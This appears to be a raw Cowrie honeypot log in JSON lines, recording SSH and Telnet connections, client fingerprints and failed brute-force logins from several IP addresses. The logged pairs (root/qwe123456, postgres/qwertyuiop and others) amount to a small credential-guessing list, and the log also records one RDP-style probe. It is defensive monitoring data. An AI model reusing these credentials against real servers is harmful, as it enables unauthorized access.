{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:22.601239Z","src_ip":"170.106.177.3","session":"9d78add752de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwertyuiop","message":"login attempt [postgres/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:22.932914Z","src_ip":"170.106.177.3","session":"9d78add752de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:24.006071Z","src_ip":"170.106.177.3","session":"9d78add752de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37058,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab574c4213fc","protocol":"ssh","message":"New connection: 45.153.34.112:37058 (10.17.0.5:22) [session: ab574c4213fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:24.317957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:24.323501Z","src_ip":"45.153.34.112","session":"ab574c4213fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:24.410371Z","src_ip":"45.153.34.112","session":"ab574c4213fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:24.662004Z","src_ip":"45.153.34.112","session":"ab574c4213fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:25.746855Z","src_ip":"45.153.34.112","session":"ab574c4213fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48414,"dst_ip":"10.17.0.5","dst_port":23,"session":"243ce1d8891c","protocol":"telnet","message":"New connection: 192.119.13.58:48414 (10.17.0.5:23) [session: 243ce1d8891c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:27.639216Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75c97980d6b","protocol":"ssh","message":"New connection: 45.153.34.112:37064 (10.17.0.5:22) [session: a75c97980d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:27.856485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:27.861544Z","src_ip":"45.153.34.112","session":"a75c97980d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:27.944180Z","src_ip":"45.153.34.112","session":"a75c97980d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:28.193031Z","src_ip":"45.153.34.112","session":"a75c97980d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:29.278695Z","src_ip":"45.153.34.112","session":"a75c97980d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58612,"dst_ip":"10.17.0.5","dst_port":22,"session":"78223cb9d57f","protocol":"ssh","message":"New connection: 45.153.34.112:58612 (10.17.0.5:22) [session: 78223cb9d57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:31.556325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:31.560732Z","src_ip":"45.153.34.112","session":"78223cb9d57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:31.643258Z","src_ip":"45.153.34.112","session":"78223cb9d57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"de815568ed71","protocol":"telnet","message":"New connection: 192.119.13.58:38308 (10.17.0.5:23) [session: de815568ed71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:31.833397Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:31.890285Z","src_ip":"45.153.34.112","session":"78223cb9d57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06127667427063,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:32.321296Z","src_ip":"192.119.13.58","session":"3c64b2324c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:32.975957Z","src_ip":"45.153.34.112","session":"78223cb9d57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":33916,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5240c59f424","protocol":"ssh","message":"New connection: 109.172.54.111:33916 (159.203.135.109:22) [session: e5240c59f424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.789001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.793388Z","src_ip":"109.172.54.111","session":"e5240c59f424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57550,"dst_ip":"10.17.0.5","dst_port":22,"session":"85a298987c1c","protocol":"ssh","message":"New connection: 62.133.63.178:57550 (10.17.0.5:22) [session: 85a298987c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.807040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.814636Z","src_ip":"62.133.63.178","session":"85a298987c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.892718Z","src_ip":"109.172.54.111","session":"e5240c59f424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.932449Z","src_ip":"62.133.63.178","session":"85a298987c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":28418,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad0b3cd35d02","protocol":"ssh","message":"New connection: 45.66.52.41:28418 (10.17.0.5:22) [session: ad0b3cd35d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.967163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:33.972732Z","src_ip":"45.66.52.41","session":"ad0b3cd35d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:34.153258Z","src_ip":"45.66.52.41","session":"ad0b3cd35d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sss888wryx","message":"login attempt [root/sss888wryx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:34.227721Z","src_ip":"109.172.54.111","session":"e5240c59f424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258456","message":"login attempt [root/258456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:34.287601Z","src_ip":"62.133.63.178","session":"85a298987c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nizar","message":"login attempt [root/nizar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:34.935461Z","src_ip":"45.66.52.41","session":"ad0b3cd35d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58618,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1036bc28735","protocol":"ssh","message":"New connection: 45.153.34.112:58618 (10.17.0.5:22) [session: c1036bc28735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:35.073090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:35.088755Z","src_ip":"45.153.34.112","session":"c1036bc28735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:35.173456Z","src_ip":"45.153.34.112","session":"c1036bc28735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:35.344736Z","src_ip":"109.172.54.111","session":"e5240c59f424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:35.407719Z","src_ip":"62.133.63.178","session":"85a298987c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:35.425640Z","src_ip":"45.153.34.112","session":"c1036bc28735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:36.152691Z","src_ip":"45.66.52.41","session":"ad0b3cd35d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54247,"dst_ip":"159.203.135.109","dst_port":22,"session":"0353d0e6b61d","protocol":"ssh","message":"New connection: 152.42.212.128:54247 (159.203.135.109:22) [session: 0353d0e6b61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:36.374556Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:36.379632Z","src_ip":"152.42.212.128","session":"0353d0e6b61d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:36.384822Z","src_ip":"152.42.212.128","session":"0353d0e6b61d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:36.513030Z","src_ip":"45.153.34.112","session":"c1036bc28735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.685497999191284,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:37.728585Z","src_ip":"192.119.13.58","session":"71749a0adbfb","protocol":"telnet"}
